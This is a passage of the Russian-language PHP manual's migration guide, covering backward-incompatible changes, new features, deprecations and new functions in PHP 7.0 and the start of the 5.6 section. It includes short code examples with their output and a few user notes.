Результат выполнения приведённого примера в PHP 7:

int(0)
int(1)

Итерация объектов не реализующих Traversable

Итерация объектов не реализующих Traversable теперь происходит так же, как и итерация массива по ссылке. Так получается вследствие того, что улучшения поведения при изменении массива во время итерации также влияет при добавлении или удалении свойств объекта.

Изменение в обработке значений типа int

Некорректная восьмеричная нотация

Ранее восьмеричные литералы, содержащие некорректные числа молча обрезались (0128 считались за 012). Сейчас в таких случаях будет выдана ошибка разбора.

Отрицательные побитовые смещения

Теперь побитовые смещения на отрицательную величину будут бросать исключение ArithmeticError:

<?php
var_dump(1 >> -1);
?>

Результат выполнения приведённого примера в PHP 5:

int(0)

Результат выполнения приведённого примера в PHP 7:

Fatal error: Uncaught ArithmeticError: Bit shift by negative number in /tmp/test.php:2
Stack trace:
#0 {main}
  thrown in /tmp/test.php on line 2

Побитовые смещения с выходом из допустимого диапазона

Побитовые смещения (в обоих направлениях) за пределы ширины типа int будут всегда возвращать 0. Раньше поведение зависело от архитектуры.

Изменение в делении на ноль

Ранее использование нуля в качестве делителя в операциях деления (/) или деления по модулю (%) приводило к ошибке уровня E_WARNING и возврату значения false. Теперь оператор деления возвращает число с плавающей точкой, равное +INF, -INF или NAN, как определено в IEEE 754. Деление по модулю вместо ошибки уровня E_WARNING будет выбрасывать исключение DivisionByZeroError.

<?php
var_dump(3/0);
var_dump(0/0);
var_dump(0%0);
?>

Результат выполнения приведённого примера в PHP 5:

Warning: Division by zero in %s on line %d
bool(false)

Warning: Division by zero in %s on line %d
bool(false)

Warning: Division by zero in %s on line %d
bool(false)

Результат выполнения приведённого примера в PHP 7:

Warning: Division by zero in %s on line %d
float(INF)

Warning: Division by zero in %s on line %d
float(NAN)

PHP Fatal error:  Uncaught DivisionByZeroError: Modulo by zero in %s line %d

Изменения в обработке строк

Шестнадцатеричные строки больше не считаются за числовые

Строки, содержащие шестнадцатеричные символы больше не считаются за числовые. Пример:

<?php
var_dump("0x123" == "291");
var_dump(is_numeric("0x123"));
var_dump("0xe" + "0x1");
var_dump(substr("foo", "0x1"));
?>

Результат выполнения приведённого примера в PHP 5:

bool(true)
bool(true)
int(15)
string(2) "oo"

Результат выполнения приведённого примера в PHP 7:

bool(false)
bool(false)
int(0)

Notice: A non well formed numeric value encountered in /tmp/test.php on line 5
string(3) "foo"

Используйте функцию filter_var() для проверки строки на содержание шестнадцатеричного числа и преобразования этой строки к значению типа int:

<?php
$str = "0xffff";
$int = filter_var($str, FILTER_VALIDATE_INT, FILTER_FLAG_ALLOW_HEX);
if (false === $int) {
throw new Exception("Некорректное целое число!");
}
var_dump($int); // int(65535)
?>

\u{ может вызывать ошибки

В связи с добавлением нового синтаксиса экранирования кодов Unicode, строки, содержащие строку \u{, предваряющую некорректную последовательность, может привести к фатальной ошибке. Для того, чтобы этого избежать, необходимо экранировать первый обратный слеш.

Удалённые функции

call_user_method() и call_user_method_array()

Функции, объявленные устаревшими в PHP 4.1.0 в пользу call_user_func() и call_user_func_array(). Возможно вам также будет интересно рассмотреть возможность обращения к функциям через переменные и/или оператор ....

Все функции ereg*

Все функции ereg удалены. Рекомендованная альтернатива - PCRE.

Псевдонимы mcrypt

Устаревшая функция mcrypt_generic_end() была удалена в пользу функции mcrypt_generic_deinit().

Кроме этого, устаревшие функции mcrypt_ecb(),
mcrypt_cbc(), mcrypt_cfb() и
mcrypt_ofb() были удалены в пользу использования
mcrypt_decrypt() с
соответствующей константой
MCRYPT_MODE_*.

Все функции модуля mysql

Все функции ext/mysql были удалены. Для выбора другого MySQL API смотрите раздел Выбор MySQL API.

Все функции модуля mssql

Все функции ext/mssql были удалены.

  • PDO_SQLSRV
  • PDO_ODBC
  • SQLSRV
  • Unified ODBC API

Псевдонимы intl

Устаревшие псевдонимы datefmt_set_timezone_id() и
IntlDateFormatter::setTimeZoneID() были удалены
в пользу datefmt_set_timezone() и
IntlDateFormatter::setTimeZone() соответственно.

set_magic_quotes_runtime()

set_magic_quotes_runtime() и её псевдоним magic_quotes_runtime() были удалены. Они были объявлены устаревшими в PHP 5.3.0 и полностью потеряли свой смысл с отказом от магических кавычек в PHP 5.4.0.

set_socket_blocking()

Устаревший псевдоним set_socket_blocking() был удалён в пользу stream_set_blocking().

dl() в PHP-FPM

Функция dl() больше не может использоваться в PHP-FPM. Однако она сохранилась в CLI и встроенных SAPI.

Функции GD Type1

Поддержка шрифтов PostScript Type1 удалена из модуля GD. Соответственно были удалены следующие функции:

  • imagepsbbox()
  • imagepsencodefont()
  • imagepsextendfont()
  • imagepsfreefont()
  • imagepsloadfont()
  • imagepsslantfont()
  • imagepstext()

Вместо них рекомендуется использовать шрифты TrueType и связанные с ними функции.

Удалённые директивы INI-файла

Удалённые возможности

Следующие INI-директивы были удалены, так как связанные с ними функции также были удалены:

  • always_populate_raw_post_data
  • asp_tags

xsl.security_prefs

Директива xsl.security_prefs была удалена. Вместо неё для контроля настроек безопасности должен вызываться метод XsltProcessor::setSecurityPrefs() на уровне каждого процессора.

Прочие изменения, затрагивающие обратную совместимость

Новые объекты не могут присваиваться по ссылке

Результат оператора new больше не может быть присвоен переменной по ссылке:

<?php
class C {}
$c =& new C;
?>

Результат выполнения приведённого примера в PHP 5:

Deprecated: Assigning the return value of new by reference is deprecated in /tmp/test.php on line 3

Результат выполнения приведённого примера в PHP 7:

Parse error: syntax error, unexpected 'new' (T_NEW) in /tmp/test.php on line 3

Некорректные имена классов, интерфейсов и трейтов

Следующие имена нельзя использовать для классов, интерфейсов и трейтов:

  • bool
  • int
  • float
  • string
  • null
  • true
  • false

Более того, следующие имена не должны использоваться. Они не приведут к ошибке в PHP 7.0, но они зарезервированы на будущее и должны считаться устаревшими.

  • resource
  • object
  • mixed
  • numeric

Удалены PHP-теги ASP и script

Удалена поддержка использования тегов ASP и script для определения кода PHP.

Удалённые теги ASP и script
Открывающий тег | Закрывающий тег
<% | %>
<%= | %>
<script language="php"> | </script>

Удалены вызовы из неподходящего контекста

Ранее признанные устаревшими в PHP 5.6 статические вызовы нестатических методов из неподходящего контекста теперь приведут к тому, что для вызываемого метода переменная $this будет не определена и будет выведено предупреждение.

<?php
class A {
public function test() { var_dump($this); }
}

// Обратите вимание: НЕ расширяет класс A
class B {
public function callNonStaticMethodOfA() { A::test(); }
}

(new B)->callNonStaticMethodOfA();
?>

Результат выполнения приведённого примера в PHP 5.6:

Deprecated: Non-static method A::test() should not be called statically, assuming $this from incompatible context in /tmp/test.php on line 8
object(B)#1 (0) {
}

Результат выполнения приведённого примера в PHP 7:

Deprecated: Non-static method A::test() should not be called statically in /tmp/test.php on line 8

Notice: Undefined variable: this in /tmp/test.php on line 3
NULL

yield теперь право-ассоциативный оператор

Конструкция yield больше не требует оборачивания в скобки и является право-ассоциативным оператором с приоритетом между print и =>. Это может привести к изменению поведения:

<?php
echo yield -1;
// Ранее интерпретировалось так
echo (yield) - 1;
// А теперь так
echo yield (-1);

yield $foo or die;
// Ранее интерпретировалось так
yield ($foo or die);
// А теперь так
(yield $foo) or die;
?>

Скобки могут быть использованы для устранения неоднозначности в таких случаях.

Функции не могут иметь несколько параметров с одинаковыми именами

Больше нельзя определить несколько параметров функции с одинаковыми именами. К примеру такая функция выдаст ошибку уровня E_COMPILE_ERROR:

<?php
function foo($a, $b, $unused, $unused) {
//
}
?>

Функции, работающие с аргументами, теперь возвращают их текущие значения

func_get_arg(), func_get_args(), debug_backtrace() и трассировки исключений возвращают не исходные переданные значения, а текущие значения, которые могут уже быть изменены.

<?php
function foo($x) {
$x++;
var_dump(func_get_arg(0));
}
foo(1);?>

Результат выполнения приведённого примера в PHP 5:

1

Результат выполнения приведённого примера в PHP 7:

2

Оператор switch больше не может иметь несколько блоков default

Больше невозможно задать более одного блока default в операторе switch. К примеру, такая конструкция выдаст ошибку E_COMPILE_ERROR:

<?php
switch (1) {
default:
break;
default:
break;
}
?>

Удалена $HTTP_RAW_POST_DATA

$HTTP_RAW_POST_DATA больше не доступен. Вместо него используйте поток php://input.

Запрещены комментарии # в INI-файлах

Поддержка префикса комментария # в INI-файлах удалена. Используйте префикс ; вместо него. Это изменение касается как php.ini, так и файлов, обрабатываемых функциями parse_ini_file() и parse_ini_string().

Модуль JSON заменён на JSOND

Модуль JSON заменён на JSOND, что порождает три небольших обратных несовместимости. Первое - числа не должны заканчиваться на точку (то есть 34. должно быть заменено на 34.0 или 34). Второе - при использовании научной нотации, экспонента e не должна следовать сразу за десятичной точкой (то есть 3.e3 нужно поменять на 3.0e3 или 3e3). Третье - пустая строка больше не считается за корректный JSON.

Ошибки внутренних функций при переполнении

Ранее встроенные функции могли тихо обрезать числа, полученные при приведении типа float к integer, если float был больше, чем способен вместить integer. Теперь же будет выдаваться ошибка E_WARNING и возвращаться null.

Исправление для возвращаемых значений пользовательского обработчика сессии

Любые предикатные функции, реализованные с помощью пользовательских обработчиков сессии и возвращающие false или -1, вызовут фатальную ошибку. Если эти функции вернут любое значение, кроме логического, -1 или 0, они будут считаться завершёнными с ошибкой и вызовут предупреждение E_WARNING.

Порядок сортировки одинаковых элементов

Внутренний алгоритм сортировки был изменён, что может сказаться на отличном от предыдущего отсортированном порядке элементов, определённых как одинаковые.

Замечание:

Не полагайтесь на порядок одинаковых элементов, так как он может в любое время измениться.

Изменение порядка обработки операторов break и continue

Операторы break и continue вне цикла или управляющей структуры switch теперь обрабатываются во время компиляции, а не во время выполнения, как это было ранее, поэтому выдают ошибки уровня E_COMPILE_ERROR.

Mhash больше не является модулем

Модуль Mhash полностью интегрирован в модуль Hash. Таким образом, теперь нельзя определить доступность поддержки Mhash с помощью функции extension_loaded(); вместо неё используйте function_exists(). Кроме того, Mhash больше не будет выводить с помощью get_loaded_extensions() и подобных функций.

declare(ticks)

Директива declare(ticks) больше не проникает в различные модули компиляции.

User Contributed Notes

There are no user contributed notes for this page.


Новая функциональность

Объявления скалярных типов

Скалярные типы объявляют в двух режимах: нестрогом, в котором PHP работает по умолчанию, и строгом. Теперь как в нестрогом, так и в строгом режимах разрешается задавать следующие типы параметров: строки (string), целые числа (int), числа с плавающей точкой (float) и логические значения (bool). Перечисленные типы дополняют другие типы, которые появились в PHP 5: имена классов, интерфейсов, массивы (array) и callable.

<?php

// Нестрогий режим с приведением типов
function sumOfInts(int ...$ints)
{
return array_sum($ints);
}

var_dump(sumOfInts(2, '3', 4.1));

?>

Результат выполнения приведённого примера:

int(9)

Для установки строгого режима, в самом начале файла необходимо поместить одну директиву declare. Это означает, что строгость объявления скалярных типов работает на уровне файла и не затрагивает весь остальной код. Эта директива затрагивает не только объявления параметров, но и возвращаемые значения функций (смотрите объявления возвращаемого типа), встроенные функции PHP и функции загруженных модулей.

Подробную документацию и примеры использования читайте в разделе декларация типов.

Объявления возвращаемых значений

В PHP 7 добавлена поддержка объявления возвращаемого типа. Аналогично как и объявления типов аргументов, объявление типа возвращаемого значения указывает, значение какого типа должна вернуть функция. Для объявления типа возвращаемого значения доступны все те же типы, что и для объявления типов аргументов.

<?php

function arraysSum(array ...$arrays): array
{
return array_map(function(array $array): int {
return array_sum($array);
}, $arrays);
}

print_r(arraysSum([1,2,3], [4,5,6], [7,8,9]));

?>

Результат выполнения приведённого примера:

Array
(
    [0] => 6
    [1] => 15
    [2] => 24
)

Полную документацию и примеры использования читайте в разделе про объявление возвращаемого типа.

Оператор объединения с null

Был добавлен оператор объединения с null (??), являющийся синтаксическим сахаром для достаточно распространённого действия, когда совместно используются тернарный оператор и функция isset(). Он возвращает первый операнд, если он задан и не равен null, а в обратном случае возвращает второй операнд.

<?php

// Извлекаем значение $_GET['user'], а если оно не задано,
// то возвращаем 'nobody'
$username = $_GET['user'] ?? 'nobody';

// Это идентично следующему коду:
$username = isset($_GET['user']) ? $_GET['user'] : 'nobody';

// Этот оператор можно использовать в цепочке.

// В этом примере мы сперва проверяем, задан ли $_GET['user'], если нет,
// то проверяем $_POST['user'], и если он тоже не задан, то присваеваем 'nobody'.
$username = $_GET['user'] ?? $_POST['user'] ?? 'nobody';

?>

Оператор spaceship (космический корабль)

Этот оператор предназначен для сравнения двух выражений. Он возвращает -1, 0 или 1 если $a, соответственно, меньше, равно или больше чем $b. Сравнение производится в соответствии с правилами сравнения типов PHP.

<?php

// Целые числа
echo 1 <=> 1; // 0
echo 1 <=> 2; // -1
echo 2 <=> 1; // 1

// Числа с плавающей точкой
echo 1.5 <=> 1.5; // 0
echo 1.5 <=> 2.5; // -1
echo 2.5 <=> 1.5; // 1

// Строки
echo "a" <=> "a"; // 0
echo "a" <=> "b"; // -1
echo "b" <=> "a"; // 1

?>

Определение констант массивов с помощью define()

Можно определить константу типа array с помощью функции define(). В PHP 5.6 такие константы можно было задавать только с помощью const.

<?php

define('ANIMALS', [
'dog',
'cat',
'bird'
]);

echo ANIMALS[1]; // выводит "cat"

?>

Анонимные классы

Была добавлена поддержка анонимных классов с помощью new class. Их можно использовать тогда, когда нужен одноразовый класс и создавать полноценный класс, а потом его объект не имеет смысла:

<?php

interface Logger
{
public function log(string $msg);
}

class Application
{
private $logger;

public function getLogger(): Logger {
return $this->logger;
}

public function setLogger(Logger $logger) {
$this->logger = $logger;
}
}

$app = new Application;
$app->setLogger(new class implements Logger {
public function log(string $msg) {
echo $msg;
}
});

var_dump($app->getLogger());

?>

Результат выполнения приведённого примера:

object(class@anonymous)#2 (0) {
}

Подробную документацию и примеры использования читайте в разделе про анонимные классы.

Синтаксис кодирования Unicode

Он принимает шестнадцатеричный код Unicode и записываем его в формате UTF-8 в двойных кавычках или формате heredoc. Любой корректный код будет принят. Ведущие нули по желанию.

echo "\u{aa}";
echo "\u{0000aa}";
echo "\u{9999}";

Результат выполнения приведённого примера:

?
? (То же самое, что и первый вариант, но с ведущими нулями)
?

Closure::call()

Closure::call() — более производительный и короткий способ временного связывания области действия объекта с замыканием и его вызовом.

<?php

class A
{
private $x = 1;
}

// До PHP 7
$getX = function() {
return $this->x;
};
$getXCB = $getX->bindTo(new A, 'A'); // Промежуточное замыкание
echo $getXCB();

// PHP 7+
$getX = function() {
return $this->x;
};
echo $getX->call(new A);

?>

Результат выполнения приведённого примера:

1
1

unserialize() с фильтрацией

Эта функциональность обеспечивает более высокий уровень безопасности при десериализации объектов с непроверенными данными. Это позволяет предотвратить возможную инъекцию кода, позволяя разработчику использовать белый список классов для десериализации.

<?php

// Преобразование всех объектов в __PHP_Incomplete_Class
$data = unserialize($foo, ["allowed_classes" => false]);

// Преобразование всех объектов, кроме MyClass и MyClass2 в __PHP_Incomplete_Class
$data = unserialize($foo, ["allowed_classes" => ["MyClass", "MyClass2"]]);

// Поведение по умолчанию принимает все классы (можно просто не задавать второй аргумент)
$data = unserialize($foo, ["allowed_classes" => true]);

?>

IntlChar

Новый класс IntlChar добавляет новую функциональность в ICU. Класс определяет несколько статических методов и констант для манипулирования символами Unicode.

<?php

printf('%x', IntlChar::CODEPOINT_MAX);
echo IntlChar::charName('@');
var_dump(IntlChar::ispunct('!'));

?>

Результат выполнения приведённого примера:

10ffff
COMMERCIAL AT
bool(true)

Для работы с этим классом требуется установить модуль Intl.

Ожидания

Ожидания являются улучшенной, обратно совместимой версией старой функции assert(). Они позволяют делать предположения с нулевой стоимостью в промышленном коде и предоставляют возможность выбрасывать пользовательские исключения в случае провала ожидания.

Вместе тем, что старое API поддерживается, assert() теперь является языковой конструкцией, принимающей первым аргументом выражения, а не только строки (string) для оценки или логические значения (bool) для проверки.

<?php

ini_set('assert.exception', 1);

class CustomError extends AssertionError {}

assert(false, new CustomError('Сообщение об ошибке'));

?>

Результат выполнения приведённого примера:

Fatal error: Uncaught CustomError: Сообщение об ошибке

Подробное описание этого функционала, а также инструкции для его конфигурирования для тестовых и промышленных сред, можно найти на странице руководства, посвящённой функции assert().

Групповые объявления use

Классы, функции и константы импортируемые из одного и того же namespace, теперь можно группировать в одном операторе use.

<?php

// До PHP 7
use some\namespace\ClassA;
use some\namespace\ClassB;
use some\namespace\ClassC as C;

use function some\namespace\fn_a;
use function some\namespace\fn_b;
use function some\namespace\fn_c;

use const some\namespace\ConstA;
use const some\namespace\ConstB;
use const some\namespace\ConstC;

// PHP 7+
use some\namespace\{ClassA, ClassB, ClassC as C};
use function some\namespace\{fn_a, fn_b, fn_c};
use const some\namespace\{ConstA, ConstB, ConstC};

?>

Выражение return в генераторах

Эта функциональность добавлена к генераторам, введённым в PHP 5.5. Она позволяет использовать оператор return в генераторах в качестве окончательного возвращаемого значения (возврат по ссылке недопустим). Это значение можно извлечь с помощью нового метода Generator::getReturn(), который можно использовать только после того, как генератор вернул все сгенерированные значение.

<?php

$gen = (function() {
yield 1;
yield 2;

return 3;
})();

foreach ($gen as $val) {
echo $val, PHP_EOL;
}

echo $gen->getReturn(), PHP_EOL;

?>

Результат выполнения приведённого примера:

1
2
3

Возможность явно получать окончательное значение генератора является очень полезной, так как позволяет клиентскому коду, использующему генератор, получать и обработать самое последнее значение генератора, после которого точно ничего больше не будет. Это сильно проще, чем вынуждать разработчика проверять, последнее ли значение вернулось и как-то по особенному его обрабатывать.

Делегация генератора

Теперь генератор может автоматически делегировать другому генератору, объекту класса, реализующий Traversable или массиву без необходимости писать в нем дополнительную обработку полученных значений. Достигается это с помощью конструкции yield from.

<?php

function gen()
{
yield 1;
yield 2;
yield from gen2();
}

function gen2()
{
yield 3;
yield 4;
}

foreach (gen() as $val)
{
echo $val, PHP_EOL;
}

?>

Результат выполнения приведённого примера:

1
2
3
4

Функция целочисленного деления intdiv()

Новая функция intdiv() производит целочисленное деление операндов и возвращает его результат.

<?php

var_dump(intdiv(10, 3));

?>

Результат выполнения приведённого примера:

int(3)

Опции сессий

Теперь session_start() принимает массив опций, которые переопределят конфигурационные директивы сессии установленные в php.ini.

Также опции были расширены включённой по умолчанию опцией session.lazy_write, которая говорит PHP о том, что файл сессии надо перезаписывать, только если изменились данные сессии, и опцией read_and_close, которую можно задать только через session_start() для того, чтобы PHP закрывал сессию сразу же как прочитает её данные и не вносил в неё каких-либо изменений.

К примеру, для установки session.cache_limiter равным private и немедленному закрытию сессии после чтения её данных:

<?php

session_start([
'cache_limiter' => 'private',
'read_and_close' => true,
]);

?>

preg_replace_callback_array()

Новая функция preg_replace_callback_array() помогает писать более чистый код, когда требуется вызвать функцию preg_replace_callback(). До PHP 7 при обработке разных регулярных выражений разными функциями приходилось для каждой такой обработки писать отдельный вызов функции.

Теперь можно использовать одну функцию и передавать в неё ассоциативный массив, в котором ключи — регулярные выражения, а значения — функции обратного вызова.

Функции CSPRNG

Были добавлены две новые кроссплатформенные функции для генерации криптографически безопасных строк и целых чисел: random_bytes() и random_int().

Теперь функция list() всегда может распаковывать объекты, реализующие ArrayAccess

Ранее функция list() не гарантировала корректную обработку объектов, реализующих ArrayAccess. Теперь это исправлено.

Прочие изменения

  • Добавлена возможность доступа к методам и свойствам класса при клонировании, то есть (clone $foo)->bar().

User Contributed Notes

Julian Sawicki 12-Sep-2020 01:52
In php 7.0 it's possible to curry functions in a way that's similar to JavaScript.

<?php

// A curried function
function add($a) {
  return function($b) use ($a) {
    return $a + $b;
  };
}

// Invoking curried function in PHP 7
$result = add(10)(15);

var_dump($result); // int 25

?>

Currying in this way is not possible in php 5.6.
Adrian Wiik 16-Jan-2020 01:52
A good rule of thumb for remembering what the spaceship operator expression returns is to replace the spaceship operator with a minus sign (-). If the result is negative, 0 or positive, the expression will return -1, 0 or 1 respectively.

Example:
<?php
echo 5 <=> 8; // 5 - 8 = -3, prints -1
echo 2 <=> 2; // 2 - 2 = 0, prints 0
echo 4 <=> 2; // 4 - 2 = 2, prints 1


Функциональность, объявленная устаревшей в PHP 7.0.x

Конструкторы в стиле PHP 4

Конструкторы в стиле PHP 4 (методы с тем же именем, что и сам класс) объявлены устаревшими и будут удалены в будущем. В PHP 7 будет выдаваться предупреждение E_DEPRECATED в случае использования таких конструкторов. Классы, реализующие метод __construct(), затронуты не будут.

<?php
class foo {
function foo() {
echo 'Я конструктор!';
}
}
?>

Результат выполнения приведённого примера:

Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; foo has a deprecated constructor in example.php on line 3

Статические вызовы нестатических методов

Статические вызовы методов, не определённых как static, объявлены устаревшими и могут быть в будущем запрещены.

<?php
class foo {
function bar() {
echo 'Я не статический!';
}
}

foo::bar();
?>

Результат выполнения приведённого примера:

Deprecated: Non-static method foo::bar() should not be called statically in - on line 8
Я не статический!

Опция salt функции password_hash()

Опция salt функции password_hash() была объявлена устаревшей для предотвращения использования разработчиками своих собственных salt (зачастую небезопасных). Функция самостоятельно генерирует криптографически безопасный salt, если он не задан разработчиком, следовательно больше нет нужды в пользовательских генераторах salt.

Опция контекста SSL capture_session_meta

Опция контекста SSL capture_session_meta объявлена устаревшей. Метаданные SSL теперь доступны с помощью функции stream_get_meta_data().

Устаревшие функции LDAP

Следующие функции были объявлены устаревшими:

  • ldap_sort()

User Contributed Notes

There are no user contributed notes for this page.


Изменённые функции

Ядро PHP

  • debug_zval_dump() теперь печатает "int" вместо "long", и "float" вместо "double"
  • dirname() принимает второй, необязательный, параметр depth, для получения имени директории на depth уровней выше текущей.
  • getrusage() теперь поддерживается в Windows.
  • Функции mktime() и gmmktime() больше не принимают параметр is_dst.
  • Функция preg_replace() больше не поддерживает "\e" (PREG_REPLACE_EVAL). Вместо этого используйте preg_replace_callback().
  • Функция setlocale() больше не принимает параметр category переданный в виде строки. Теперь нужно использовать константы LC_*.
  • Функции exec(), system() и passthru() теперь защищены от NULL-байта.
  • shmop_open() теперь возвращает не целое, а ресурс,
который должен быть передан в shmop_size(),
shmop_write(), shmop_read(),
shmop_close() и shmop_delete().
  • substr() и iconv_substr() возвращают пустую строку, если start равно длине строки.
  • Использование xml_parser_free() теперь недостаточно для освобождения ресурса парсера, если он ссылается на объект, а этот объект ссылается на ресурс парсера. В таком случае необходимо дополнительно вручную удалить (unset) переменную $parser.

User Contributed Notes

There are no user contributed notes for this page.


Новые функции

Замыкания

  • Closure::call()

CSPRNG

  • random_bytes()
  • random_int()

Обработка и логирование ошибок

  • error_clear_last()

Генераторы

  • Generator::getReturn()

Вычисления над целыми числами с произвольной точностью (GNU Multiple Precision)

  • gmp_random_seed()

Математика

  • intdiv()

PCRE

  • preg_replace_callback_array()

Опции/информация PHP

  • gc_mem_caches()
  • get_resources()

POSIX

  • posix_setrlimit()

Reflection

  • ReflectionParameter::getType()
  • ReflectionParameter::hasType()
  • ReflectionFunctionAbstract::getReturnType()
  • ReflectionFunctionAbstract::hasReturnType()

Zip

  • ZipArchive::setCompressionIndex()
  • ZipArchive::setCompressionName()

Компрессия Zlib

  • inflate_add()
  • deflate_add()
  • inflate_init()
  • deflate_init()

User Contributed Notes

There are no user contributed notes for this page.


Новые классы и интерфейсы

Интернационализация

  • IntlChar

Reflection

  • ReflectionGenerator
  • ReflectionType

Управление сессиями

  • SessionUpdateTimestampHandlerInterface

Иерархия исключений

  • Throwable
  • Error
  • TypeError
  • ParseError
  • AssertionError
  • ArithmeticError
  • DivisionByZeroError

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

Константы предопределённые в ядре PHP

  • PHP_INT_MIN

GD

  • IMG_WEBP (с PHP 7.0.10)

JSON

  • JSON_ERROR_INVALID_PROPERTY_NAME
  • JSON_ERROR_UTF16

LibXML

  • LIBXML_BIGLINES

PCRE

  • PREG_JIT_STACKLIMIT_ERROR

POSIX

  • POSIX_RLIMIT_AS
  • POSIX_RLIMIT_CORE
  • POSIX_RLIMIT_CPU
  • POSIX_RLIMIT_DATA
  • POSIX_RLIMIT_FSIZE
  • POSIX_RLIMIT_LOCKS
  • POSIX_RLIMIT_MEMLOCK
  • POSIX_RLIMIT_MSGQUEUE
  • POSIX_RLIMIT_NICE
  • POSIX_RLIMIT_NOFILE
  • POSIX_RLIMIT_NPROC
  • POSIX_RLIMIT_RSS
  • POSIX_RLIMIT_RTPRIO
  • POSIX_RLIMIT_RTTIME
  • POSIX_RLIMIT_SIGPENDING
  • POSIX_RLIMIT_STACK
  • POSIX_RLIMIT_INFINITY

Zlib

  • ZLIB_ENCODING_RAW
  • ZLIB_ENCODING_DEFLATE
  • ZLIB_ENCODING_GZIP
  • ZLIB_FILTERED
  • ZLIB_HUFFMAN_ONLY
  • ZLIB_FIXED
  • ZLIB_RLE
  • ZLIB_DEFAULT_STRATEGY
  • ZLIB_BLOCK
  • ZLIB_FINISH
  • ZLIB_FULL_FLUSH
  • ZLIB_NO_FLUSH
  • ZLIB_PARTIAL_FLUSH
  • ZLIB_SYNC_FLUSH

User Contributed Notes

There are no user contributed notes for this page.


Изменения в модулях SAPI

FPM

Не полностью определённый порт listen теперь слушает как IPv4, так и IPv6

В PHP 5 директива listen содержащая только номер порта, приводила к прослушиванию всех интерфейсах, но только по IPv4. PHP 7 теперь будет принимать как с IPv4, так и с IPv6.

Это не влияет на директивы, содержащие конкретные IP-адреса.

User Contributed Notes

There are no user contributed notes for this page.


Удалённые модули и SAPI

Удалённые модули

  • ereg
  • mssql
  • mysql
  • sybase_ct

Удалённые SAPI

  • aolserver
  • apache
  • apache_hooks
  • apache2filter
  • caudium
  • continuity
  • isapi
  • milter
  • nsapi
  • phttpd
  • pi3web
  • roxen
  • thttpd
  • tux
  • webjames

User Contributed Notes

There are no user contributed notes for this page.


Другие изменения

Ослабление ограничений на использование зарезервированных слов

Глобально зарезервированные слова теперь разрешено использовать для свойств, констант и методов в классах, интерфейсах и трейтах. Это уменьшает масштабы проблем обратной совместимости при вводе новых ключевых слов и позволяет избежать ограничений для API.

Это особенно полезно при создании внутренних DSL с текучими интерфейсами:

<?php
// Ранее 'new', 'private' и 'for' использовать было нельзя.
Project::new('Project Name')->private()->for('purpose here')->with('username here');
?>

Единственное ограничение, что слово class всё ещё нельзя использовать как имя константы, так как оно будет пересекаться с синтаксисом разрешения имени класса (ClassName::class).

Удаление предупреждения date.timezone

Ранее вызывалось предупреждение, если INI-настройка date.timezone не была задана раньше использования каких-либо функций работы с датой или временем. Теперь это предупреждение удалено (но date.timezone по умолчанию всё ещё UTC).

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 5.5.x на PHP 5.6.x

Содержание

  • Изменения, ломающие обратную совместимость
  • Новые возможности
  • Функционал, объявленный устаревшим в PHP 5.6.x
  • Изменённые функции
  • Новые функции
  • Изменения OpenSSL в PHP 5.6.x
  • Другие изменения в модулях
  • Новые глобальные константы

Большинство улучшений в PHP 5.6.x не влияют на существующий код. Требуется учесть несовместимости и новые особенности, и протестировать код перед переключением версий PHP в производственных окружениях.

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Несмотря на то, что большая часть существующего кода PHP 5 должна работать без изменений, всё же ознакомьтесь с некоторыми изменениями, которые могут сказаться на обратной совместимости:

Ключи массива не будут перезаписаны при определении массива как свойства класса через литерал массива

Ранее в массивах, заданные как свойства класса со смешанными явными и неявными ключами, элементы с явно заданными ключами могли молча перезаписываться, если явный ключ пересекался с последовательным неявным ключом. Например:

<?php
class C {
const ONE = 1;
public $array = [
self::ONE => 'foo',
'bar',
'quux',
];
}

var_dump((new C)->array);
?>

Результат выполнения приведённого примера в PHP 5.5:

array(2) {
  [0]=>
  string(3) "bar"
  [1]=>
  string(4) "quux"
}

Результат выполнения приведённого примера в PHP 5.6:

array(3) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(4) "quux"
}

Строгость json_decode()

Теперь json_decode() в соответствии со спецификацией JSON отклоняет JSON литералы true, false и null, заданные не строго в нижнем регистре, и, соответственно, устанавливает json_last_error(). Ранее данные, передаваемые в json_decode() и содержащие исключительно одно из этих значений в верхнем или смешанном регистре, принимались.

Это изменение повлияет только в случае передачи в json_decode() некорректного JSON. В случае корректно сформированного JSON, никакого эффекта не будет.

Теперь потоковые обёртки по умолчанию проверяют сертификаты точек при использовании SSL/TLS

Все шифруемые клиентские потоки теперь по умолчанию включают проверку пиров. По умолчанию сертификат пира проверяется пакетом OpenSSL CA. Обычно не нужно ничего делать для соединения с серверами с правильным SSL-сертификатом, так как OpenSSL настроен так, что уже работает с хорошими CA-пакетами.

Стандартный CA пакет может быть переопределён глобально с помощью установки или openssl.cafile или openssl.capath строк конфигурации, или же на уровне каждого запроса используя опции контекста cafile или capath.

Хотя это и не рекомендуется, но можно отключить проверку сертификата пира для запроса, установив verify_peer опцию контекста в false, и можно отключить проверку имени пира, установив verify_peer_name в false.

Теперь ресурсы GMP являются объектами

Теперь ресурсы GMP является объектами. Функциональное API, реализованное в модуле GMP, осталось без изменений. Существующий код должен заработать без изменений, только если в нем явно не использовались проверки на ресурс is_resource() или что-то подобное.

Теперь функция Mcrypt требует корректные ключи и IV

mcrypt_encrypt(), mcrypt_decrypt(), mcrypt_cbc(), mcrypt_cfb(), mcrypt_ecb(), mcrypt_generic() и mcrypt_ofb() больше не принимают ключи и IV с некорректной длиной, а режимы блочного шифра, требующие IV, будут завершаться с ошибкой, если его не передать.

Загрузка файлов с помощью cURL

Теперь загрузка с использованием синтаксиса @file требует установки CURLOPT_SAFE_UPLOAD в значение false. Вместо этого следует использовать CURLFile.

User Contributed Notes

There are no user contributed notes for this page.


Новые возможности

Константные выражения

Теперь можно предоставить скалярное выражение, включающее числовые и строковые литералы и/или константы, когда ранее ожидалось статическое значение, например, в объявлениях констант или значениях аргументов функций по умолчанию.

<?php
const ONE = 1;
const TWO = ONE * 2;

class C {
const THREE = TWO + 1;
const ONE_THIRD = ONE / self::THREE;
const SENTENCE = 'Значение константы THREE - '.self::THREE;

public function f($a = ONE + self::THREE) {
return $a;
}
}

echo (new C)->f()."\n";
echo C::SENTENCE;
?>

Результат выполнения приведённого примера:

4
Значение константы THREE -  3

Также можно определить массив (array) с использованием ключевого слова const:

<?php
